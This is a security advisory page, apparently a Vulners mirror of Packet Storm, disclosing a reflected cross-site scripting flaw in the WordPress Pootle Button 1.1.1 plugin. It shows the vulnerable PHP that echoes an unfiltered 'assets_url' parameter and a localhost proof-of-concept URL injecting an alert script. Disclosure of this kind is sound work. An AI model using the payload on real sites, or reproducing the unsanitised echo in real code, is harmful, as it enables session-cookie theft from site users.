Lucene search
K

WordPress Pootle Button 1.1.1 Cross Site Scripting

🗓️ 12 Oct 2017 00:00:00Reported by Ricardo SanchezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

WordPress Pootle Button 1.1.1 Cross Site Scripting vulnerability class input validation error, reflected remote. Allows attacker to execute arbitrary script code in user's browser

Code
`Class Input Validation Error  
Remote Yes  
Reflected Yes  
  
Credit Ricardo Sanchez  
Vulnerable Pootle button plugin 1.1.1  
Pootle button plugin is prone to a cross-site scripting  
vulnerability because it fails to sufficiently sanitize user-supplied data.  
  
An attacker may leverage this issue to execute arbitrary script code in the  
browser of an unsuspecting user in the context of the affected site. This  
may allow the attacker to steal cookie-based authentication credentials and  
to launch other attacks.  
  
To exploit this issue following steps:  
  
The XSS reflected because the "assets_url" value is not filter correcly:  
  
<script src="<?php echo $_GET['assets_url'] . 'alpha-color.js'  
?>"></script> <link rel="stylesheet" href="<?php echo $_GET['assets_url'] .  
'dashicons-select.css' ?>"> <script src="<?php echo $_GET['assets_url'] .  
'dashicons-select.js?v=1.0.1' ?>"></script> Demo url:  
*http://localhost/wordpress/wp-admin/admin-ajax.php?action=pbtn_dialog&assets_url=%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E  
<http://localhost/wordpress/wp-admin/admin-ajax.php?action=pbtn_dialog&assets_url=%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E>*  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation